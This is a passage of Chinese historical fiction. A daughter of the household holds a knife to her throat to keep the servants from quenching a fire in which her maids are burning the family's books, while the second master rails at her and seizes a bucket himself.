火烧得旺,把书页吞噬殆尽,只剩下灰。风一吹,灰烬飞了满天,像是阴间飘着的雪。
庭院围墙边上站了一地的丫鬟小厮,婆子管事,拿的拿桶,拿的拿瓢。二爷叉着腰,站在大铁锅的正对面,喊了几个提着水的小厮上前来。
“就是个赔钱的丫头,她的命有这阁里的书值钱?快给我把火灭了!”
吕姝拿了把刀架在脖子上,威胁道:“都不许过来!都不许浇水!”
“再过来,我就死在这里!”
“看清楚我是这家的女儿,死了也是这家的鬼,这会儿二爷要逼死我,你们做他的刀,瞧瞧老太太和我爹、我娘饶不饶你们!”
几个小厮听了自然是不敢上前。他们有几条命够赔大小姐的?
吕姝继续喊着惊月和听风两个快点烧。
“惊月、听风,不要停,不要怕,继续烧!”
二爷看他们都不敢上,一把抢了一个小厮手里的水桶。
“都是废物,我来!”